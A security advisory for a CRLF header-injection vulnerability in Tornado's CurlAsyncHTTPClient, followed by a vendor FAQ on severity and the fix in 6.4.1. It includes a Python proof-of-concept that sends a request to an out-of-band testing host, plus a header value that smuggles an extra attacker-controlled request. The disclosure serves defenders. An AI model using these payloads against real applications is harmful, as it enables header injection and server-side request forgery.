GHSA-W235-7P84-XX57

Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.

Details

When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.

This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:

The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.

PoC

The issue can be reproduced using the following script:

import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

GHSA-W235-7P84-XX57 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.4.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-W235-7P84-XX57? GHSA-W235-7P84-XX57 is a medium-severity security vulnerability in tornado (pip), affecting versions <= 6.4.0. It is fixed in 6.4.1.
2. How severe is GHSA-W235-7P84-XX57? GHSA-W235-7P84-XX57 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of tornado are affected by GHSA-W235-7P84-XX57? tornado (pip) versions <= 6.4.0 is affected.
4. Is there a fix for GHSA-W235-7P84-XX57? Yes. GHSA-W235-7P84-XX57 is fixed in 6.4.1. Upgrade to this version or later.
5. Is GHSA-W235-7P84-XX57 exploitable, and should I be worried? Whether GHSA-W235-7P84-XX57 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-W235-7P84-XX57 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-W235-7P84-XX57? Upgrade tornado to 6.4.1 or later.